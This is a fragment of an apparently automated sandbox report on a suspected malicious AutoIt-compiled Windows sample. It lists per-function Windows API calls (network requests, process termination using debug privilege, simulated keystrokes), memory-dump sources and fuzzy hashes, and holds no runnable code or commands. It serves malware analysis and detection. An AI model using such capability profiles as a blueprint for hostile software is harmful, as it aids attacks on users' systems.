                                      • _wcslen.LIBCMT ref: 0091437B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharUpper
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 1256254125-1994484594
                                      • Opcode ID: 9a7cbc21d1dd851444c1d16e8b65f0ea6cd6033e77855ebdd7f0b318777caa23
                                      • Instruction ID: ed16f8081ff9a1f7426e59ac1d5d29a8c337d11ed516dedbf5110c112687249e
                                      • Opcode Fuzzy Hash: 9a7cbc21d1dd851444c1d16e8b65f0ea6cd6033e77855ebdd7f0b318777caa23
                                      • Instruction Fuzzy Hash: 0C413432B003268B8B248E69CA805BA77E9FF9D710B64463DE495D7680EB30DD86C791
                                      Function 0092C171 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0092C190
                                      • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0092C1B8
                                      • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0092C1E8
                                      • GetLastError.KERNEL32 ref: 0092C240
                                      • SetEvent.KERNEL32(?), ref: 0092C254
                                      • InternetCloseHandle.WININET(00000000), ref: 0092C25F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                      • String ID:
                                      • API String ID: 3113390036-3916222277
                                      • Opcode ID: 7a061936915511b5ce4ffb41ec3c4575ed4a4c7ebd7eb21624c0bd03c8582254
                                      • Instruction ID: 801881944016c662e122951daac004e5d5d71879901174f407de8d4f5678947e
                                      • Opcode Fuzzy Hash: 7a061936915511b5ce4ffb41ec3c4575ed4a4c7ebd7eb21624c0bd03c8582254
                                      • Instruction Fuzzy Hash: 67318DF5505214EFD7219FA4AC88EAF7BFCEB49740B10451AF45693204DB34E9049BA0
                                      Function 009197B9 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,008F47E6,?,?,Bad directive syntax error,0094D0D0,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 009197DA
                                      • LoadStringW.USER32(00000000,?,008F47E6,?), ref: 009197E1
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 009198A5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: HandleLoadMessageModuleString_wcslen
                                      • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                      • API String ID: 858772685-4153970271
                                      • Opcode ID: b11c26f8aa35553d985d9484cd537cf45cb8b6a53571d4675090fb5b46d580e7
                                      • Instruction ID: 32ea0e2636db75fc29011f517c9bb9e82c95c432bd5307f8e7343775a8fa4b09
                                      • Opcode Fuzzy Hash: b11c26f8aa35553d985d9484cd537cf45cb8b6a53571d4675090fb5b46d580e7
                                      • Instruction Fuzzy Hash: 2621803290021EABDF11AF94CC4AFEE7735FF29304F044466F519A21A2DBB19558DF51
                                      Function 008E8CE5 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 816595fed6f7366c696b61fc4fd561a2ac1ec9611f427aa38a73c3cd818e741f
                                      • Instruction ID: 030413ff5fd4548ea04586eb1b983fe8aea38702b9d398103e55f72e97bf0344
                                      • Opcode Fuzzy Hash: 816595fed6f7366c696b61fc4fd561a2ac1ec9611f427aa38a73c3cd818e741f
                                      • Instruction Fuzzy Hash: 4EC1D174A04289EFCB11DFAEC840BADBBB5FF5A310F044199E559EB392CB709941CB61
                                      Function 008B76AA Relevance: 13.8, APIs: 9, Instructions: 291COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetClientRect.USER32(?,?), ref: 008B76D0
                                      • GetWindowRect.USER32(?,?), ref: 008B7711
                                      • ScreenToClient.USER32(?,?), ref: 008B7739
                                      • GetClientRect.USER32(?,?), ref: 008B787D
                                      • GetWindowRect.USER32(?,?), ref: 008B789E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Rect$Client$Window$Screen
                                      • String ID:
                                      • API String ID: 1296646539-0
                                      • Opcode ID: f38a54daeaa8477c748667211f114e4744c8cb6925ce0ee1e281e9e36595590b
                                      • Instruction ID: c1ceba8c96af50769f51b989d82ff5714136e82bb57ad1a3c7488ddc77e3ba7f
                                      • Opcode Fuzzy Hash: f38a54daeaa8477c748667211f114e4744c8cb6925ce0ee1e281e9e36595590b
                                      • Instruction Fuzzy Hash: 72C1577990464AEFDB10CFB8C484BEEBBB1FF58314F14841AE995E7250DB34A980DB64
                                      Function 008ECE30 Relevance: 13.7, APIs: 9, Instructions: 209COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free$EnvironmentVariable___from_strstr_to_strchr
                                      • String ID:
                                      • API String ID: 1282221369-0
                                      • Opcode ID: 3e1f959e2ca11096c4167080e2ac083e9d6d72965d0b67ff2ced6b73fc794663
                                      • Instruction ID: bd32ca73fe1c53498870eeaa51528fa432b92fb50063e4f00611ca73767bc224
                                      • Opcode Fuzzy Hash: 3e1f959e2ca11096c4167080e2ac083e9d6d72965d0b67ff2ced6b73fc794663
                                      • Instruction Fuzzy Hash: F4612B72E043C6AFDB24AFBAD841A7A7B98FF03320F14016DF905D7382DA3199069791
                                      Function 008CA142 Relevance: 13.7, APIs: 9, Instructions: 168timeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CA4D7: InvalidateRect.USER32(?,00000000,00000001,?,?,?,008CA15D,?,00000000,?,?,?,?,008CA12F,00000000,?), ref: 008CA53A
                                      • DestroyWindow.USER32(?), ref: 008CA1F6
                                      • KillTimer.USER32(00000000,?,?,?,?,008CA12F,00000000,?), ref: 008CA290
                                      • DestroyAcceleratorTable.USER32(00000000), ref: 009073C6
                                      • DeleteObject.GDI32(00000000), ref: 00907439
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Destroy$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                      • String ID:
                                      • API String ID: 2402799130-0
                                      • Opcode ID: 7489137ec6a67b384ee2e40e2d92173b7e78fd56a90ffa2ee5368f0583bf043d
                                      • Instruction ID: a5b0525f647fda7bbfa3734e0ab20c61c1671e586c848f955232ce106d92cc23
                                      • Opcode Fuzzy Hash: 7489137ec6a67b384ee2e40e2d92173b7e78fd56a90ffa2ee5368f0583bf043d
                                      • Instruction Fuzzy Hash: 3A61AD34519618DFDB299F54E948F29BBB6FB4032AF14441DE04287AB0C376F981EF86
                                      Function 00945009 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,00002001,00000000,00000000), ref: 009450BB
                                      • ShowWindow.USER32(?,00000000), ref: 009450FC
                                      • ShowWindow.USER32(?,00000005,?,00000000), ref: 00945102
                                      • SetFocus.USER32(?,?,00000005,?,00000000), ref: 00945106
                                        • Part of subcall function 00946E88: DeleteObject.GDI32(00000000), ref: 00946EB4
                                      • GetWindowLongW.USER32(?,000000F0), ref: 00945142
                                      • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0094514F
                                      • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00945182
                                      • SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 009451BC
                                      • SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 009451CB
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                      • String ID:
                                      • API String ID: 3210457359-0
                                      • Opcode ID: 646506188851f5b4461b732e04da4b5eead5e10a372dc37268564e4d5d33996c
                                      • Instruction ID: ce7513534f68bea38f9f377101061c815b38cc19498d5e20fb364a45a6004c6c
                                      • Opcode Fuzzy Hash: 646506188851f5b4461b732e04da4b5eead5e10a372dc37268564e4d5d33996c
                                      • Instruction Fuzzy Hash: 1251F334655A08BFEF349FA8CC45FA93B69FB08360F164111F919961E3C375E980DB81
                                      Function 008CA07B Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 009072E3
                                      • ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 009072FC
                                      • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0090730C
                                      • ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00907324
                                      • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00907345
                                      • DestroyCursor.USER32(00000000), ref: 00907354
                                      • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00907371
                                      • DestroyCursor.USER32(00000000), ref: 00907380
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CursorDestroyExtractIconImageLoadMessageSend
                                      • String ID:
                                      • API String ID: 3992029641-0
                                      • Opcode ID: 5a54d701b7bc174133d80fc81aa8964acb9a1d6a7c1f164959f668b202d6bcfe
                                      • Instruction ID: b68484eb945ac8896787895689e6b939a9e65eaaa6cca23fc63fdd6b4e055999
                                      • Opcode Fuzzy Hash: 5a54d701b7bc174133d80fc81aa8964acb9a1d6a7c1f164959f668b202d6bcfe
                                      • Instruction Fuzzy Hash: 87518574A14609EFEB288F68DC41FAA7BB9FB48364F104518F902D72E0D771E980EB51
                                      Function 0092C061 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0092C0A0
                                      • GetLastError.KERNEL32 ref: 0092C0B3
                                      • SetEvent.KERNEL32(?), ref: 0092C0C7
                                        • Part of subcall function 0092C171: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0092C190
                                        • Part of subcall function 0092C171: GetLastError.KERNEL32 ref: 0092C240
                                        • Part of subcall function 0092C171: SetEvent.KERNEL32(?), ref: 0092C254
                                        • Part of subcall function 0092C171: InternetCloseHandle.WININET(00000000), ref: 0092C25F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
                                      • String ID:
                                      • API String ID: 337547030-0
                                      • Opcode ID: 105111342c451cb9b95ad8e8a481ce4895aef1226fde8821fddb32f5ce500083
                                      • Instruction ID: bfed08dc3851c016bbe04a791a7432396703e72a9b26d42a9d051d83b052b54f
                                      • Opcode Fuzzy Hash: 105111342c451cb9b95ad8e8a481ce4895aef1226fde8821fddb32f5ce500083
                                      • Instruction Fuzzy Hash: D331AEF5209715AFDB219FA0EC45A6ABBFCFF09340B10441DF95683616D735E824EBA0
                                      Function 009124E6 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00913985: GetWindowThreadProcessId.USER32(?,00000000), ref: 0091399F
                                        • Part of subcall function 00913985: GetCurrentThreadId.KERNEL32 ref: 009139A6
                                        • Part of subcall function 00913985: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009124F7), ref: 009139AD
                                      • MapVirtualKeyW.USER32(00000025,00000000), ref: 00912501
                                      • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0091251F
                                      • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00912523
                                      • MapVirtualKeyW.USER32(00000025,00000000), ref: 0091252D
                                      • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00912545
                                      • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00912549
                                      • MapVirtualKeyW.USER32(00000025,00000000), ref: 00912553
                                      • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00912567
                                      • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 0091256B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                      • String ID:
                                      • API String ID: 2014098862-0
                                      • Opcode ID: 4b3eda9e4c8cf7444e01cb00b128693cebe0514b60f0edc5b84cb5519e624e48
                                      • Instruction ID: 6938dec8e47b4a138bd44a82775943c10af98158f8cae78539aa2f34bc468013
                                      • Opcode Fuzzy Hash: 4b3eda9e4c8cf7444e01cb00b128693cebe0514b60f0edc5b84cb5519e624e48
                                      • Instruction Fuzzy Hash: EA01D8703A9218BBFB1067699C8AF957F69DB8FB12F104015F318AE0D1C9F21444DA69
                                      Function 00911747 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,0091138D,?,?,00000000), ref: 00911750
                                      • RtlAllocateHeap.NTDLL(00000000,?,0091138D), ref: 00911757
                                      • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0091138D,?,?,00000000), ref: 0091176C
                                      • GetCurrentProcess.KERNEL32(?,00000000,?,0091138D,?,?,00000000), ref: 00911774
                                      • DuplicateHandle.KERNEL32(00000000,?,0091138D,?,?,00000000), ref: 00911777
                                      • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0091138D,?,?,00000000), ref: 00911787
                                      • GetCurrentProcess.KERNEL32(0091138D,00000000,?,0091138D,?,?,00000000), ref: 0091178F
                                      • DuplicateHandle.KERNEL32(00000000,?,0091138D,?,?,00000000), ref: 00911792
                                      • CreateThread.KERNEL32(00000000,00000000,009117B8,00000000,00000000,00000000), ref: 009117AC
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$Current$DuplicateHandleHeap$AllocateCreateThread
                                      • String ID:
                                      • API String ID: 1422014791-0
                                      • Opcode ID: af3d757f6a9980788ccab19c8070b6c5cb17f1ad97db6775f38c35211e0f6bb7
                                      • Instruction ID: a13febcdab31ffb20497a67c8a27bc8ce525a178dbf206d174c147f9a227c2a9
                                      • Opcode Fuzzy Hash: af3d757f6a9980788ccab19c8070b6c5cb17f1ad97db6775f38c35211e0f6bb7
                                      • Instruction Fuzzy Hash: FC01C2B5355304BFE750AFA5DC4DF677BACEB89B11F004411FA05DB191C6709800DB60
                                      Function 0093A009 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0091D3FA: CreateToolhelp32Snapshot.KERNEL32 ref: 0091D41F
                                        • Part of subcall function 0091D3FA: Process32FirstW.KERNEL32(00000000,?), ref: 0091D42D
                                        • Part of subcall function 0091D3FA: CloseHandle.KERNEL32(00000000), ref: 0091D4FA
                                      • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0093A094
                                      • GetLastError.KERNEL32 ref: 0093A0A7
                                      • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0093A0DA
                                      • TerminateProcess.KERNEL32(00000000,00000000), ref: 0093A18F
                                      • GetLastError.KERNEL32(00000000), ref: 0093A19A
                                      • CloseHandle.KERNEL32(00000000), ref: 0093A1EB
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                      • String ID: SeDebugPrivilege
                                      • API String ID: 2533919879-2896544425
                                      • Opcode ID: f3a8637860ce2606eb592ac079aa0008ecefbe4ebcd8cf91e0ce6e9968d29b35
                                      • Instruction ID: 2448e4803f0b455874433af2433d65d8f5f48c7f960d74bfdc1e3f7b02e18655
                                      • Opcode Fuzzy Hash: f3a8637860ce2606eb592ac079aa0008ecefbe4ebcd8cf91e0ce6e9968d29b35
                                      • Instruction Fuzzy Hash: AE61BF74208642AFD320DF18C894F56BBE4AF45318F18849CE4A68B7A2C776ED45CF92
                                      Function 009437B9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00943858
                                      • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0094386D
                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00943887
                                      • _wcslen.LIBCMT ref: 009438CC
                                      • SendMessageW.USER32(?,00001057,00000000,?), ref: 009438F9
